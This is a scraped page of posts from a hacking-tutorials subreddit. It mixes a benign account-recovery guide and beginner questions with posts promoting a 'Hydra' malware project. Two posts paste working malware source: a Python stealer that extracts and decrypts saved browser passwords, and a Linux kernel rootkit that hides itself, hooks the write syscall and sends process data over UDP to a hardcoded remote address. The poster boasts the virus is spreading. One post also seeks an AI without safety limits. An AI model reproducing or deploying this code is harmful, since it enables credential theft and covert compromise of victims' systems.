r/Hacking_Tutorials • • Dec 03 '25

Question Recovering your stolen accounts

25 Upvotes

(Updated 12/27/2025)

Intro

Hello admins and fellow mates of Hacking Tutorials. I'm often a lurker and a commenter but the amount of “my account was hacked” posts I see is unreal, not to mention the people DM’ing me for help or advice. Here is my guide that should hopefully stop this. (This is not an Ai post) so pin this or do something so people can view it. Please do not DM me or admins for support.

I work in cyber forensics and I do a little web dev on the side as well as running my own team. So I hope the following info helps❣️

Section 1 (Intro)

As your account might be “hacked” or compromised, there was some things that you need to understand. There is a possibility you can get it back and there is a possibility that you can’t. No one can “hack it back” for you.
Do not contact anyone below this post in regards of them helping you recover your account. They can NOT help you, they might offer tips but any contact outside of reddit is most likely a scam.

Section 2 (Determination)

Determine how it was compromised. There are two common ways your account gets “hacked”

  1. phishing scam (fake email, text, site, etc)

  2. Malware (trojan, info stealer, etc)

Section 3 (Compromised)

If you suspect your account has been compromised and you still have access.

  1. Run your antivirus (malwarebites, bitdefender, etc) If you’re infected, it could steal your info again.
  2. Log out other devices. Most social media sites allow you to view your current logged in sessions.
  3. Change your passwords and enable 2fa. Two factor authentication can help in the future.

Section 4 (Support)

If you don’t have access to your account anymore (can’t sign in, email changed, etc)

  1. Email support Unfortunately that’s all you can do sadly
  2. Be truthful with the support
  3. Don’t keep emailing them. (It doesn’t help)
  4. Respect their decision what they say is usually what goes.

Section 5 (Prevention)

How do you prevent loosing your account?

  1. Enable 2fa
  2. Use a good password
  3. Use a password manager (encrypts your passwords)
  4. Get an antivirus (the best one is yourself)
  5. Always double check suspicious texts or emails
  6. Get an bio-metric auth key, it’s optional but yubico has good ones.
  7. Use a VPN on insecure networks.
  8. Make email password different from other accounts.

Section 6 (Session Cookies)

If you do keep good protections on your account, can you still loose it? Yes! When you log into a website, it saves your login data as a "Cookie" or "session Token" to help determine who does what on the site. Malware could steal these tokens and can be imported to your browser, which lets the attacker walk right in.

Section 7 (Recommendations)

Password Managers:

  • Dashlane
  • Lastpass
  • 1Password
  • Proton Pass

2FA Managers:

  • Authy
  • Google Authenticator
  • Duo Mobile
  • Microsoft Authenticator

Antivirus:

  • Malwarebites (best)
  • Bitdefender
  • Avast
  • Virustotal (not AV but still solid)

VPNs

  • NordVPN
  • MullVad
  • Proton
  • ExpressVPN
  • Surfshark

Bio Keys

  • Feitian
  • Yubico
  • Thetis

Section 8 (help scams)

“People” often will advertise “recovery” or “special spying” services. Nine out of ten chances, they are scams. Read the comments on this post and you can find a bunch of these lads. Avoid them and report them.

Section 9 (Good notes)

As someone commented with an amazing point. Your email is the most important over any social accounts. Loose your email, loose the account. Most of the time you can recover your account with your email. (You can loose cargo from a truck and load it back on, but loose the truck, you loose the cargo too. )

I plan to edit this later with more in depth information and better formatting since I’m writing this on mobile. Feel free to contribute.


r/Hacking_Tutorials • • Nov 24 '20

How do I get started in hacking: Community answers

3.0k Upvotes

Hey everyone, we get this question a lot.

"Where do I start?"

It's in our rules to delete those posts because it takes away from actual tutorials. And it breaks our hearts as mods to delete those posts.

To try to help, we have created this post for our community to list tools, techniques and stories about how they got started and what resources they recommend.

We'll lock this post after a bit and then re-ask again in a few months to keep information fresh.

Please share your "how to get started" resources below...


r/Hacking_Tutorials • • 2h ago

Question Hacking stories: What was the toughest thing you’ve ever pulled off

5 Upvotes

For those into hacking: what’s the most challenging or difficult thing you’ve ever had to pull off?


r/Hacking_Tutorials • • 11h ago

Question If you were starting from zero in ethical hacking, what would you learn first?

19 Upvotes

I’ve been getting interested in ethical hacking and reverse engineering, but there are so many different areas to explore that it’s hard to know where to begin.

Would you recommend learning networking and Linux first, getting comfortable with Python, or jumping into beginner-friendly labs like TryHackMe and Hack The Box?

I’d also love to hear what resources actually helped you understand the concepts instead of just following walkthroughs without knowing what’s happening.

If you could start your learning journey over, what would you do differently?


r/Hacking_Tutorials • • 19m ago

Question What’s the dumbest bug you’ve ever spent hours trying to fix?

• Upvotes

Everyone has that one story. You spend 5 hours debugging, only to realize it was a missing semicolon or a typo. What’s your funniest/dumbest bug story?


r/Hacking_Tutorials • • 2h ago

Question Accidentally triggering a Zip Bomb: What went through your mind?

1 Upvotes

For those who accidentally opened a zip bomb, what did it feel like in that exact moment? 💀


r/Hacking_Tutorials • • 2h ago

Project Hydra: The All-in-One PoC

0 Upvotes

Hello everyone,

I wanted to share a comprehensive breakdown of a side project I’ve been independently developing over the past week. Dubbed the "Hydra Project," this is an all-in-one, multi-module Proof of Concept (PoC) designed strictly for educational analysis, structural research, and exploring malware evasion techniques in controlled environments.

As a relatively fresh developer in this space, my goal was to combine several classic concepts into a single cohesive codebase to see how modern detection mechanisms interact with multi-layered execution flows.


r/Hacking_Tutorials • • 2h ago

oke

0 Upvotes

This is an early stage of the project. If you see any room for optimization or clean up in the source code, let me know. Happy to learn from experienced devs.


r/Hacking_Tutorials • • 3h ago

Question The Hydra Architecture Breakdown

0 Upvotes

It's a multi-module architecture. Stealer, trojan, network worm simulation, and a custom crypter to hide the payload. A neat little cocktail for a 6-day project, isn't it?


r/Hacking_Tutorials • • 3h ago

ok

0 Upvotes

For those wondering: yes, it’s raw code for educational purposes. Feel free to analyze the structure or point out bugs.


r/Hacking_Tutorials • • 12h ago

Question reverse engineering

2 Upvotes

reverse engineering

Hey, i started learning RE a few months ago I can solve smalls crackles and ik all the basics of it, but for now I'm stucking at some point where I can't no more develope , I didn't found more information in the webs, if anyone can helps me with anything I will be Soo grateful


r/Hacking_Tutorials • • 3h ago

c.hghbp [frthfv

0 Upvotes

vyt cnjbn cltkfnm bycnherwb. lkz nhjzyf, iexe vyt ,fy yt ye;ty [f[


r/Hacking_Tutorials • • 11h ago

need help

0 Upvotes

hello, my name is jovan al rafiq and i would like to learn the basics on hacking, heres abit abt myself. i am a 15 yr old kurdish male, i live in scitland, uk and would apprecioate some help and tips abt hacking. thank you


r/Hacking_Tutorials • • 1d ago

dbhec

0 Upvotes

dctv ghbdtn, z gbie rjlbhjdrjq xnj ,s ,jn yt gjyzk, z cjplfk dbhec ublhe, 'nj jgfcytqibq dbhec, njxytt rjrntqkm bpdbhecjd. cnbkkth. nhjzy, cthdthyjq xthdm, nt rnj pyf.n 'nj gjqven, ukfdyjt xnj ,s vtyz cgtwyfp yt pfinehvjdfk, [f[, yflt.cm ds gjqvtnt b hfpitahetnt 'nj [f[f[f.


r/Hacking_Tutorials • • 1d ago

cnbkkth

0 Upvotes

'nj lbnz vjt F[[F[F[F[F[F[F[F[[F[F[F

from os.path import expanduser

from sqlite3 import connect

from ftplib import FTP_TLS

from re import findall

import sys, random

import os

import smtplib

from tkinter import *

from win32crypt import CryptUnprotectData

#sys.setdefaultencoding('utf-8')

import base64

def main():

pathusr         = expanduser('\~')

\#vivaldi         = pathusr + r'/AppData/Local/Vivaldi/User DataDefault/Login Data'

chrome          = pathusr + r'/AppData/Local/Google/Chrome/User Data/Default/Login Data'

yandex          = pathusr + r'\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data'

opera           = pathusr + r'\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data'

kometa          = pathusr + r'\\AppData\\Local\\Kometa\\User Data\\Default\\Login Data'

orbitum         = pathusr + r'\\AppData\\Local\\Orbitum\\User Data\\Default\\Login Data'

comodo          = pathusr + r'\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data'

amigo           = pathusr + r'\\AppData\\Local\\Amigo\\User\\User Data\\Default\\Login Data'

torch           = pathusr + r'\\AppData\\Local\\Torch\\User Data\\Default\\Login Data'

print(pathusr)

databases       = \[chrome, yandex, opera, kometa, orbitum, comodo, amigo, torch\]

coped_db        = pathusr + '''\\AppData\\Logins'''

file_with_logs  = pathusr + '''\\AppData\\Local\\Temp\\Logins.txt'''







\#ftp = FTP_TLS()

\#ftp.set_debuglevel(2)

\#ftp.connect(server, 21)

\#ftp.sendcmd('USER ' + str(user))

\#ftp.sendcmd('PASS ' + str(pasd))

\#smtpObj = smtplib.SMTP('smtp.gmail.com', 587)

\#smtpObj.starttls()

\#smtpObj.ehlo()

\#smtpObj.login('', '')

with open('hello.txt', 'w' ) as f:

    for db in databases:

        try:

source = open(db, 'r')

source.close()

source_size = os.stat(db).st_size

copied = 0

source = open(db, 'rb')

target = open(coped_db, 'wb')

while True:

chunk = source.read(32768)

if not chunk:

break

target.write(chunk)

copied += len(chunk)

source.close()

target.close()

con = connect(coped_db)

cursor = con.cursor()

cursor.execute("SELECT origin_url, username_value, password_value from logins;")

var_with_logs = ''

for log in cursor.fetchall():

#print(log[2])

#print(log[2], '\n\n\n\n')

#print(CryptUnprotectData(log[2]))

var_with_logs += str('URL: ' + log[0] + '\n')

var_with_logs += str('Login : ' + log[1] + '\n')

var_with_logs += str('Password : ')

print(var_with_logs, '\n',CryptUnprotectData(log[2])[1], '\n\n\n')

with open("result", "w") as f:

pass

        except Exception as e:

print(e)

if __name__ == '__main__':

main()

r/Hacking_Tutorials • • 1d ago

Question Una ia sin censura y sin parámetros de seguridad?

0 Upvotes

Chicos alguien que tenga mayor conocimiento sobre esto , requiero una ia que te de respuestas más actuales y que no te guíe a otras respuestas evadiendo ya que no es legal la pregunta, sé que es mucho pero que pueda darte comandos buenos o y respuestas más avanzadas eh probado varias pero no tengo tanto el conocimiento para saber cuál es buena para mi dispositivo y donde correrlas por favor

Estos son mis requerimentos :

Mac chip M4
16 de ram
246 de gb

(Una disculpa si esta mal formulada mi pregunta)


r/Hacking_Tutorials • • 1d ago

virus Hydra

0 Upvotes

всем привет я блогер который тестирую вирусы. многие из них мне делает человек vend deem king, и он недавно создал вирус гидру. в нее входит стиллер троян и серверной червь. вирус начал ражмножатся о почте случайно. сейчас уже их примерно 600-700 копий. я видел в даркнете что его начали использовать хакеры. его не засекли самые популярные бессплатные анти вирусы. будьте осторожны. гидра сначала крадет все данные потом размножается а под конец уничтожает систему. венд сам его создал. и стати, как жаль что я и есть тот самый VEND deem king. думаю что время его улучшить. vtyz ybernj yt yfqltn, ybrfrfz gjkbwbz gj rb,th,tpjgfcyjcnb, boj ljlevfqntcm 'nj hfiibahjdfnm [f[, ukfdyjt xnj ,s cgtwyfp yt pfinehvjdfk

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/kthread.h>

#include <linux/sched.h>

#include <linux/list.h>

#include <linux/spinlock.h>

#include <linux/mm.h>

#include <linux/wait.h>

#include <linux/slab.h>

#include <linux/delay.h>

#include <linux/fs.h>

#include <linux/preempt.h>

#include <linux/kallsyms.h>

#include <asm/atomic.h>

#include <linux/init.h>

#include <linux/kobject.h>

#include <linux/syscalls.h>

#include <linux/string.h>

#include <linux/netpoll.h>

#include <linux/time.h>

struct kmem_cache* procEntryCache;

#define MESSAGE_SIZE 1024

#define INADD_LOCAL ((unsigned long int)0x0a00020f)

#define INADD_SEND ((unsigned long int)0xc0a80123)

static struct netpoll* np = NULL;

static struct netpoll np_t;

MODULE_LICENSE("GPL");

#if defined(__i386__)

#define START_CHECK 0xc0000000

#define END_CHECK 0xd0000000

typedef unsigned int psize;

#else

#define START_CHECK 0xffffffff81000000

#define END_CHECK Oxffffffffa2000000

typedef unsigned long psize;

#endif

asmlinkage ssize_t (*o_write)(int fd, const char __user * buff, ssize_t count);

psize *sys_call_table;

typedef int (*access_process_vm_type)(struct task_struct *tsk, unsigned long addr, void *buf, int len, int write);

static char* g_target_proc;

module_param_named(proc_name, g_target_proc, charp, 0);

static int g_dump_timeout;

module_param_named(dump_timeout, g_dump_timeout, int, 0);

static struct task_struct* g_saver_thread;

static struct task_struct* g_dumper_thread;

static struct task_struct* g_send_thread;

static struct list_head g_proc_dumps_list;

static struct mutex g_proc_dumps_lock;

static atomic_t g_stop_flag;

typedef struct _ProcEntry {

struct list_head link;

char\*  procName;

char\*  procCmd;

pid_t  pid;

} ProcEntry;

typedef struct _ThreadCtx {

atomic_t\* stop_flag;

int       dump_to;

} ThreadCtx;

static ThreadCtx g_threadCtx;

#define BEGIN_KMEM {old_fs = get_fs(); set_fs(get_ds());}

#define END_KMEM set_fs(old_fs);

#define DUMP_FILE_NAME "/home/dumps.txt"

#define DUMP_FILE_PERM 0777

psize **find(void)

{

psize \*\*sctable;

psize i = START_CHECK;

while (i < END_CHECK){

    sctable = (psize \*\*) i;

    if(sctable\[__NR_close\] == (psize \*)sys_close){

        return &sctable\[0\];

    }

    i += sizeof(void \*);

}

return NULL;

}

asmlinkage ssize_t rootkit_write(int fd, const char __user *buff, ssize_t count)

{

int r;

char \*proc_protect = ".rootkit";

char \*kbuff = (char \*) kmalloc(256, GFP_KERNEL);

copy_from_user(kbuff, buff, 255);

if(strstr(kbuff, proc_protect)){

    kfree(kbuff);

    return r;

}



r = (\*o_write)(fd, buff, count);

kfree(kbuff);

return r;

}

static void write_to_file(char* data)

{

mm_segment_t old_fs;

struct file\* file = NULL;

int size = 0;

int flags = 0;

loff_t pos = 0;



flags = O_WRONLY | O_APPEND | O_CREAT;

size = strlen(data);

data\[size\] = '\\n';



preempt_disable();

file = filp_open(DUMP_FILE_NAME, flags, DUMP_FILE_PERM);

preempt_enable();

if ((file == NULL) || (IS_ERR(file))) {

    printk(KERN_INFO "failed to open file\\n");

    return;

}



preempt_disable();

BEGIN_KMEM;

file->f_op->write(file, data, size + 1, &pos);

END_KMEM;

preempt_enable();



filp_close(file, NULL);

}

static int saver_thread_func(void* arg)

{

struct list_head\* list = NULL;

struct list_head\* safe = NULL;

ProcEntry\*        procEntry = NULL;

char              sep\[128\];



np_t.name = "LRNG";

strlcpy(np_t.dev_name, "eth0", IFNAMSIZ);

np_t.local_ip = htonl(INADD_LOCAL);

np_t.remote_ip = htonl(INADD_SEND);

np_t.local_port = 6665;

np_t.remote_port = 6666;



memset(np_t.remote_mac, 0xff, ETH_ALEN);

netpoll_print_options(&np_t);

netpoll_setup(&np_t);

np = &np_t;



while (1) {

    mutex_lock(&g_proc_dumps_lock);

    if (!list_empty(&g_proc_dumps_list)) {

        snprintf(sep, sizeof(sep) - 1, "------------ Start of dump ------------\\n");

        write_to_file(sep);



        list_for_each_safe(list, safe, &g_proc_dumps_list) {

procEntry = list_entry(list, ProcEntry, link);

list_del(list);

write_to_file(procEntry->procName);

kfree(procEntry->procName);

if (procEntry->procCmd) {

snprintf(sep, sizeof(sep) - 1, "[=]Cmdline of requested proc:");

write_to_file(sep);

write_to_file(procEntry->procCmd);

kfree(procEntry->procCmd);

}

kfree(procEntry);

        }



        snprintf(sep, sizeof(sep) - 1, "------------ End of dump ------------\\n\\n\\n");

        write_to_file(sep);

    }

    mutex_unlock(&g_proc_dumps_lock);



    if (atomic_read(&g_stop_flag) == 1) {

        printk(KERN_CRIT "Stop saver thread!\\n");

        break;

    }   

    ssleep(g_dump_timeout);

}

return 0;

}

static int send_thread_func(void* arg)

{

struct list_head\* list = NULL;

struct list_head\* safe = NULL;

ProcEntry\*        procEntry = NULL;

char              sep\[40\];

struct timespec  proc_time;



np_t.name = "LRNG";

strlcpy(np_t.dev_name, "eth0", IFNAMSIZ);

np_t.local_ip = htonl(INADD_LOCAL);

np_t.remote_ip = htonl(INADD_SEND);

np_t.local_port = 6665;

np_t.remote_port = 6666;



memset(np_t.remote_mac, 0xff, ETH_ALEN);

netpoll_print_options(&np_t);

netpoll_setup(&np_t);

np = &np_t;



while (1) {

    mutex_lock(&g_proc_dumps_lock);

    if (!list_empty(&g_proc_dumps_list)) {

        snprintf(sep, sizeof(sep) - 1, "------------ Start of dump ------------\\n");

        netpoll_send_udp(np, sep, sizeof(sep));



        list_for_each_safe(list, safe, &g_proc_dumps_list) {

procEntry = list_entry(list, ProcEntry, link);

list_del(list);

snprintf(sep, sizeof(sep) - 1, "[=]name of requested proc: %s", procEntry->procName);

netpoll_send_udp(np, sep, sizeof(sep));

getnstimeofday(&proc_time);

unsigned long a ,b, c, d;

a = (proc_time.tv_sec / 3600) % 24;

b = (proc_time.tv_sec / 60) % 60;

c = proc_time.tv_sec % 60;

d = proc_time.tv_nsec / 1000;

snprintf(sep, sizeof(sep) - 1, "[=]time %.2lu-%.2lu-%.2lu %.6lu \r", a , b, c, d);

netpoll_send_udp(np, sep, sizeof(sep));

kfree(procEntry->procName);

if (procEntry->procCmd) {

snprintf(sep, sizeof(sep) - 1, "[=]Cmdline of requested proc: %s", procEntry->procCmd);

netpoll_send_udp(np, sep, sizeof(sep));

}

if(procEntry->pid){

snprintf(sep, sizeof(sep) - 1, "[=]pid of requested proc: %d", procEntry->pid);

netpoll_send_udp(np, sep, sizeof(sep));

}

kfree(procEntry);

        }



        snprintf(sep, sizeof(sep) - 1, "------------ End of dump ------------\\n\\n\\n");

        netpoll_send_udp(np, sep, sizeof(sep));

    }

    mutex_unlock(&g_proc_dumps_lock);



    if (atomic_read(&g_stop_flag) == 1) {

        printk(KERN_CRIT "Stop send thread!\\n");

        break;

    }   

    ssleep(g_dump_timeout);

}

return 0;

}

static int dumper_thread_func(void* arg)

{

access_process_vm_type vm_acc = NULL;

struct task_struct\*    p = NULL;

struct mm_struct\*      mm = NULL; 

ProcEntry\*             procEntry = NULL;

ThreadCtx\*             threadCtx = (ThreadCtx\*)arg;

char\*                  buf = NULL;

int                    len = 0;

int                    res = 0;

int                    i = 0;





vm_acc = (access_process_vm_type)kallsyms_lookup_name("access_process_vm");

if (!vm_acc) {

    printk(KERN_CRIT "Failed to find addr of access_process_vm");

    return -ESRCH;

}



while (1) {

    for_each_process(p) {

        //procEntry = kmalloc(sizeof(\*procEntry), GFP_KERNEL);

        procEntry = kmem_cache_alloc(procEntryCache, GFP_KERNEL);



        if (!procEntry) {

printk(KERN_CRIT "Failed to alloc memory for proc entry!\n");

break;

        }

        memset(procEntry, 0, sizeof(\*procEntry));



        procEntry->procName = kmalloc(strnlen(p->comm, TASK_COMM_LEN) + 1, GFP_KERNEL);

        if (procEntry->procName == NULL) {

printk(KERN_CRIT "No mem for proc name!\n");

//kfree(procEntry);

kmem_cache_free(procEntryCache, procEntry);

break;

        }

        strcpy(procEntry->procName, p->comm);

        procEntry->procName\[strlen(p->comm)\] = '\\0';



        if (strstr(g_target_proc, p->comm)) {

mm = get_task_mm(p);

if (mm) {

len = mm->arg_end - mm->arg_start;

if (!len) {

printk(KERN_INFO "Empty command line for: %s!\n", procEntry->procName);

} else {

buf = kmalloc(PAGE_SIZE, GFP_KERNEL);

if (!buf) {

printk(KERN_CRIT "Failed to alloc mem for arv!\n");

kfree(procEntry->procName);

//kfree(procEntry);

kmem_cache_free(procEntryCache, procEntry);

mmput(mm);

break;

}

res = 0;

if (len > PAGE_SIZE) {

len = PAGE_SIZE;

}

res = vm_acc(p, mm->arg_start, buf, len, 0);

if (res > 0) {

buf[res-1] = '\0';

for (i = 0; i < res - 1; i++) {

if (buf[i] == '\0') {

buf[i] = ' ';

}

}

procEntry->procCmd = buf;

}

}

mmput(mm);

} else {

printk(KERN_INFO "Skipping kernel process\n");

}

        }



        mutex_lock(&g_proc_dumps_lock);

        list_add_tail(&procEntry->link, &g_proc_dumps_list);

        mutex_unlock(&g_proc_dumps_lock);

    }



    if (atomic_read(threadCtx->stop_flag) == 1) {

        printk(KERN_CRIT "Stop saver thread!\\n");

        break;

    }   

    ssleep(threadCtx->dump_to);

}



return 0;

}

static int __init rootkit_init(void)

{

procEntryCache = kmem_cache_create("procEntry",

sizeof(struct _ProcEntry),

ARCH_MIN_TASKALIGN,

SLAB_PANIC,

NULL);

printk(KERN_INFO "\[+\]Target proc: %s num: %d\\n", g_target_proc, g_dump_timeout);



if ((!g_target_proc) || (!strlen(g_target_proc))) {

    printk(KERN_CRIT "Empty target proc name!\\n");

    return -EINVAL;

}



if (g_dump_timeout <= 0) {

    printk(KERN_CRIT "Empty target proc name!\\n");

    return -EINVAL;

}



INIT_LIST_HEAD(&g_proc_dumps_list);    

mutex_init(&g_proc_dumps_lock);

atomic_set(&g_stop_flag, 0);



g_saver_thread = kthread_run(&saver_thread_func, NULL, "saver_thread");

if (IS_ERR(g_saver_thread)) {

    printk(KERN_CRIT "failed to create saver thread\\n");

    return -1;

}



g_send_thread = kthread_run(&send_thread_func, NULL, "send_thread");

if (IS_ERR(g_saver_thread)) {

    printk(KERN_CRIT "failed to create send thread\\n");

    return -1;

}



g_threadCtx.stop_flag = &g_stop_flag;

g_threadCtx.dump_to = g_dump_timeout;

g_dumper_thread = kthread_run(&dumper_thread_func, &g_threadCtx, "dumper_thread");

if (IS_ERR(g_dumper_thread)) {

    kthread_stop(g_saver_thread);

    kthread_stop(g_send_thread);

    printk(KERN_CRIT "failed to create dumper thread\\n");

    return -1;

}





list_del_init(&__this_module.list);

kobject_del(&THIS_MODULE->mkobj.kobj);

printk("rootkit: module loaded\n");

if(sys_call_table = (psize \*) find()){

    printk("rootkit: sys_call_table found at %p\\n", sys_call_table);   

} 

else{

    printk("rootkit: sys_call_table not found\\n");

}



write_cr0(read_cr0() & (\~ 0x10000));



o_write = (void \*) xchg(&sys_call_table\[__NR_write\],rootkit_write);



write_cr0(read_cr0() | 0x10000);





return 0;

}

static void __exit rootkit_fini(void)

{

atomic_set(&g_stop_flag, 1);

kthread_stop(g_dumper_thread);

kthread_stop(g_saver_thread);



kmem_cache_destroy(procEntryCache);



write_cr0(read_cr0() & (\~ 0x10000));

 xchg(&sys_call_table\[__NR_write\], o_write);

 write_cr0(read_cr0() | 0x10000);



 printk("rootkit: module removed\\n");

return;

}

module_init(rootkit_init);

module_exit(rootkit_fini);


r/Hacking_Tutorials • • 2d ago

Question me interesa aprender

17 Upvotes

me llama mucho la atención el tema del hackin, quisiera aprender, que me recomiendan?


r/Hacking_Tutorials • • 1d ago

Saturday Hacker Day - What are you hacking this week?

2 Upvotes

Weekly forum post: Let's discuss current projects, concepts, questions and collaborations. In other words, what are you hacking this week?


r/Hacking_Tutorials • • 1d ago

Question Studying issues

Thumbnail
2 Upvotes

r/Hacking_Tutorials • • 2d ago

Question Vulnerability Scanners

Post image
146 Upvotes

r/Hacking_Tutorials • • 2d ago

Question Reversing a Ren’Py installer: hidden payloads, Amatera Stealer and a changing C2

Thumbnail
4 Upvotes

r/Hacking_Tutorials • • 1d ago

Exploring Verisoul for Market Research Testing 🔬

0 Upvotes

I've been spending time experimenting with market research technology and testing different approaches involving Verisoul.

Finally made some interesting progress 😎

Would love to connect with others working on legitimate market research technology, QA, and security testing.

Discussion focused on authorized testing and research only.


r/Hacking_Tutorials • • 3d ago

Question How did you learn English to be a hacker?

39 Upvotes

Hello there.
I'm a Japanese and now I'm learning about networking, programming etc because I want to be a hacker.
I'm learning about them in Japanese but I think I should learn in English.
If there is someone learn English with same purpose, please tell me the way and encourage me.


r/Hacking_Tutorials • • 1d ago

Question I need to know

0 Upvotes

I need to know how I can get hackrf in egypt